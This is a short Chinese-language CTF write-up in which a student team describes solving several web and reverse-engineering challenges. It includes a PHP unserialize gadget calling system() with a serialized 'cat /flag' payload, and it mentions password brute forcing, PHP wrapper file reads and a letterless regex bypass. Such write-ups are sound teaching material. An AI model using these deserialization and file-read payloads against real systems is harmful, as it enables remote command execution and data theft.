重邮省赛WP

前言

在学长的指点下我们新生队也是拿到了省赛二等奖的好名次,人生中第一次CTF大赛拿奖就是二等奖了,我们队真是太厉害了!

Web1

一打开网页,发现什么都没有

扫描目录得到一个压缩包跟一个txt,txt里是假的flag

再打开压缩包,其中c2VyaWFsaXpl.php能接受flag参数然后反序列化,由此可以构造序列化内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
class Flag{
public $cmd='whoami';
public function __destruct()
{
system($this->cmd);
}
}
unserialize($_GET['flag']);

$p=new Flag();
$p->cmd="cat /flag";
echo serialize($p);
?>

得到payload:O:4:”Flag”:1:{s:3:”cmd”;s:9:”cat /flag”;}

Web2

源码中提示账号是admin,但是不知道密码,所以尝试爆破

写脚本爆破出了password,原来就是password

发现了fllllag.php

发现可以直接用php伪协议读取

读到了fllllag.php的内容

由于过滤了太多字符,所以考虑用无字母绕过正则,https://xz.aliyun.com/t/9387?time__1311=n4%2BxnD0DuAK7qY5Aq05%2BbDy0CK4x8q4D5Qx 在这篇文章中找到了方法

使用博客中的脚本

得到了执行ls的payload

发现了个327a6c4304ad5938eaf0efb6cc3e53dc.php

直接当问得到flag

Web4

源码里得到参数是ZmlsZQ==即file

尝试给file传递参数得到文件内容

re1

源码中是判断输入的值MD5后是否为db21eec0061edf40a2a4c891c5d0764f

根据提示,有4个地方需要爆破

写出把爆破脚本,得到flag